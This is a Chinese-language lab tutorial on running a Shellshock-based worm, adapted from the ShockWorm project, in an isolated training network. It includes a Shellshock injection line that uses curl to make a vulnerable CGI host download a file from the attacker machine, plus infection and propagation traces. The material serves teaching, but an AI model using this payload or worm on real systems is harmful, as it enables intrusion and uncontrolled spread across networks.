基于破壳漏洞的蠕虫实践

本实验介绍了一款基于shellshock漏洞的简单蠕虫程序,通过本实验,你可以了解蠕虫的使用与传播方式,也可以亲自动手随心所欲的改造这款蠕虫程序。

实验简介

实验所属系列:操作系统安全

实验对象:本科/专科信息安全专业

相关课程及专业:信息网络安全概论

实验时数(学分):4学时

实验类别:实践实验类

预备知识

破壳漏洞的原理与利用

参考实验《破壳漏洞实践》,链接:

https://www.hetianlab.com/expc.do?ec=ECID172.19.105.222014092915250400001

蠕虫简介

蠕虫定义:一种能够利用系统漏洞通过网络进行自我传播的恶意程序。它不需要附着在其他程序上,而是独立存在的。当形成规模、传播速度过快时会极大地消耗网络资源导致大面积网络拥塞甚至瘫痪。

计算机蠕虫与计算机病毒相似,是一种能够自我复制的计算机程序。

与计算机病毒不同的是,计算机蠕虫不需要附在别的程序内,可能不用使用者介入操作也能自我复制或执行。它是直接在主机之间的内存中进行传播的。计算机蠕虫未必会直接破坏被感染的系统,却几乎都对网络有害。计算机蠕虫可能会执行垃圾代码以发动分散式阻断服务攻击,令计算机的执行效率极大程度降低,从而影响计算机的正常使用;可能会损毁或修改目标计算机的档案;亦可能只是浪费带宽。(恶意的)计算机蠕虫可根据其目的分成2类:

一类是面对大规模计算机网络发动拒绝服务的计算机蠕虫。

另一类是针对个人用户的执行大量垃圾代码的计算机蠕虫。

本次实验蠕虫简介

本次实验使用的蠕虫,是根据github上名为ShockWorm的蠕虫(项目地址:https://github.com/matlink/ShockWorm/blob/master/shellshock.pl)改编而成。改动有以下几点:

1.原蠕虫只感染一台主机,本实验蠕虫扩大了范围,使其真正拥有了蠕动性,可以自行传播(限制了蠕动范围)。

2.原蠕虫在感染主机后会修改系统文件,并且截获执行sudo命令时输入的口令。本实验蠕虫删除了此功能,在感染与完成传播之后,仅执行sleep操作。

实验目的

1)通过该实验了解蠕虫的基本特征

2)掌握蠕虫的传播方式及使用方法

3)能够改进蠕虫的功能

实验环境

蠕虫发起者:centos6.5,IP地址:10.1.1.231

Worm1:centos6.5(web服务器),1号被感染主机,IP地址:10.1.1.12

Worm2:centos6.5(web服务器),2号被感染主机 ,IP地址10.1.1.x(x随机)

实验步骤一

本实验分为三个任务:

任务一:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞;

任务二:蠕虫发起者执行蠕虫程序,感染1号主机Worm1;

任务三:观察Worm1主机蠕虫的传播过程,检查Worm2主机是否被感染。

*任务描述*:判断10.1.1.12主机web服务的test.cgi是否存在破壳漏洞

1.使用ssh登录蠕虫发起者主机(10.1.1.231),执行下面三条命令。命令执行结果如下图所示。

[root@worm-master ~]# tail /var/log/httpd/access_log

[root@worm-master ~]# curl -A “() { :; }; /usr/bin/wget http://10.1.1.231/shock” http://10.1.1.12/test.cgi

[root@worm-master ~]# tail /var/log/httpd/access_log

2.根据最后一条命令的结果,蠕虫发起者主机(10.1.1.231)的web日志中出现了worm1的访问记录,说明worm1主机(10.1.1.12)存在破壳漏洞(实验中未显示)。

实验步骤二

任务描述:蠕虫发起者执行蠕虫程序,感染1号主机Worm1。

1.为了避免自身被感染,向蠕虫表明自己是发起者的身份,我们需要登录10.1.1.231主机,通过下面的命令创建一个文件。

[root@worm-master ~]# touch /tmp/key.txt

2.继续在10.1.1.231上执行下面的命令,可以找到蠕虫程序。

[root@worm-master shockworm]# cd /root/shockworm/

[root@worm-master shockworm]# ls

3.登录worm1,查看/tmp目录。

[root@worm-test1 tmp]# ls -al

4.继续返回10.1.1.231主机,执行下面的命令,来运行蠕虫程序。

5.登录Worm1,执行下面的命令,观察被感染的特征。

[root@worm-test1 tmp]# ls -al

total 16

drwxrwxrwt. 4 root root 4096 Jun 25 13:52 .

dr-xr-xr-x. 22 root root 4096 Jun 24 11:35 …

drwxrwxrwt. 2 root root 4096 Jun 24 11:35 .ICE-unix

drwxr-xrwx. 2 apache apache 4096 Jun 25 13:52 .ssh-mOTc45gfXwPj

-rw-------. 1 root root 0 Jan 9 2014 yum.log

[root@worm-test1 tmp]# ls .ssh-mOTc45gfXwPj/

agent.1336 agent.1337

[root@worm-test1 tmp]# ps aux | grep agent.1337

apache 1827 0.0 0.8 33884 4420 ? S Jun24 0:00 /usr/bin/perl /tmp/.ssh-mOTc45gfXwPj/agent.1337

root 3512 0.0 0.1 103244 864 pts/1 S+ 13:56 0:00 grep agent.1337

通过对比/tmp目录可以发现,Worm1已经被感染了shockworm蠕虫程序,如下图。

实验步骤三

1.登录Worm1(10.1.1.12),不断的执行命令:“ps aux |grep curl”可以看到蠕虫的传播过程,被感染的Worm1通过agent.1337进程,不断的向同网段的其他主机发起攻击与感染。如下所示:

[root@worm-test1 tmp]# ps aux | grep curl

apache 3741 0.0 0.2 11300 1280 ? S 14:03 0:00 sh -c curl http://10.1.1.16/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3742 0.0 0.6 73992 3072 ? S 14:03 0:00 curl http://10.1.1.16/test.cgi

root 3752 0.0 0.1 103244 852 pts/1 S+ 14:03 0:00 grep curl

[root@worm-test1 tmp]# ps aux | grep curl

apache 3753 0.0 0.2 11300 1276 ? S 14:03 0:00 sh -c curl http://10.1.1.17/test.cgi 2>/dev/null | grep Hi | wc -l

apache 3754 0.0 0.6 73992 3076 ? S 14:03 0:00 curl http://10.1.1.17/test.cgi

root 3758 0.0 0.1 103244 856 pts/1 S+ 14:03 0:00 grep curl

从上面命令的执行结果,可以看出,蠕虫正在攻击10.1.1.16和10.1.1.17。

2.经过一段时间之后(大约10分钟),登录Worm2。同样使用命令:”ls -al /tmp”查看,可以发现主机也被此蠕虫感染。对比效果如下图:

15:27分tmp目录下产生了感染文件

答案

基于破壳漏洞的蠕虫实践相关推荐

  1. 为什么说破壳漏洞会带来一场全球服务器的浩劫

    为什么说破壳漏洞会带来一场全球服务器的浩劫 948ebbff490bbb3c8cfa7863ee55c721 2014 年 9 月 24 日,Bash 惊爆严重安全漏洞,编号为 CVE-2014-62 ...

  2. 破壳漏洞(CVE-2014-6271)综合分析

    目 录 一. 威胁卡片  二. 概述  三. 已知事件发布/披露情况 四. 漏洞的影响范围  五. 漏洞原理  六. 漏洞验证方法  七. 漏洞检测方法  八. 漏洞可能会带来的影响  九. 针对此漏 ...

  3. 修复linux bash破壳漏洞,Linux系统下如何检测并修复bash中的破壳漏洞​​

    问题:我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏洞侵袭. 2014年9月24日,一位名叫斯特凡·沙泽拉的安全研究者发现了一个名为"破 ...

  4. 修复linux bash破壳漏洞,Linux下bash破壳漏洞检测及修复的方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,我想要知道我的Linux服务器是否存在bash破壳漏洞,以及如何来保护我的Linux服务器不受破壳漏 ...

  5. linux系统漏洞测试过程,Linux下bash破壳漏洞检测方法

    如果Linux服务器存在bash破壳漏洞,将可能导致远程攻击者操作系统来执行任意命令,威胁等级较高,那么我们要怎么知道Linux系统是否存在该漏洞,又该如何修复呢?下面随学习啦小编一起来了解下吧. 问 ...

  6. mysql分布式数据库实践论文_新浪微博基于MySQL的分布式数据库实践

    提起微博,相信大家都是很了解的.但是有谁知道微博的数据库架构是怎样的呢?在今天举行的2011数据库技术大会上,新浪首席DBA杨海潮为我们详细解读了新浪微博的数据库架构--基于MySQL的分布式数据库实 ...

  7. Facebook基于数据中心的机器学习实践

    周圣盛   文 张怀政 校正 引言 "赋予人们建立社区的力量,让世界更紧密地联系在一起"是Facebook的使命.为了完成这样的目标,Facebook连接了全球两亿的用户(2017 ...

  8. 在BackTrack下基于MS08-067漏洞的渗透

    (1).MS08067漏洞描述 MS08-067漏洞的全称为"Windows Server服务RPC请求缓冲区溢出漏洞", 如果用户在受影响的系统上收到特制的 RPC 请求,则该漏 ...

  9. 基于 MaxCompute 的实时数据处理实践

    简介: MaxCompute 通过流式数据高性能写入和秒级别查询能力(查询加速),提供EB级云原生数仓近实时分析能力:高效的实现对变化中的数据进行快速分析及决策辅助.当前Demo基于近实时交互式BI分 ...

最新文章

  1. vue 给组件绑定原生事件
  2. linux中实现pxe的自动安装
  3. html分页自动加载数据库,AngularJS实现分页显示数据库信息
  4. 面试中如何回答自身的“缺点”
  5. 刚发现博客园又遇到了问题
  6. python使用json实现树结构_js怎样将获取json转换为树形结构
  7. [JavaWeb-Servlet]Servlet_执行原理
  8. 【dubbo】消费者Consumer搭建
  9. 随想录(学习使用virtualbox软件)
  10. java 国际象棋 中文版_卡尔波夫国际象棋豪华版
  11. C# WCF快速开发框架 | 原创作品
  12. 电子申报系统服务器地址,广东企业电子申报管理系统62使用说明-广东税务局.PDF...
  13. 2022最新高级java面试题
  14. NC6 转库单、采购入库单、库存委托入库单签字后自动生成调拨订单
  15. rational rose 启动选择_Rational Rose 附使用教程
  16. 一.stm32的内部flash操作笔记
  17. SAS初学者笔记---003---利用数据步读取数据--逻辑库
  18. Python实战系列-东方财富网显示研报报错最新解决方案
  19. 使用 Serialization 保存数据到文件
  20. 电脑时钟倒计时_你有很好的时间观念吗——Mamsds Timer一款桌面倒计时工具

热门文章

  1. ICML 2022审稿结果惹争议!LeCun:我3篇全拒了!马毅:我再也不投了...
  2. 这个阿里云工程师的甩锅能力,真的超级高水平!
  3. FGF21 类似物 PF-05231023 改善糖尿病并发症
  4. 评分卡模型开发(六)--WOE值计算
  5. dnf剑魂buff等级上限_DNF:鬼剑士buff换装、白金徽章以及时装详解,萌新也能变老手...
  6. Angular2 网站 SEO 攻略
  7. 新手建站必看的十大忠告 1
  8. 三款过CE/FCC/SRCC认证USB接口双频WIFI模块
  9. 嵌入式软件开发工程师就业发展前景怎么样?
  10. 如何有效开展小组教学_小学语文教学中如何有效开展小组合作学习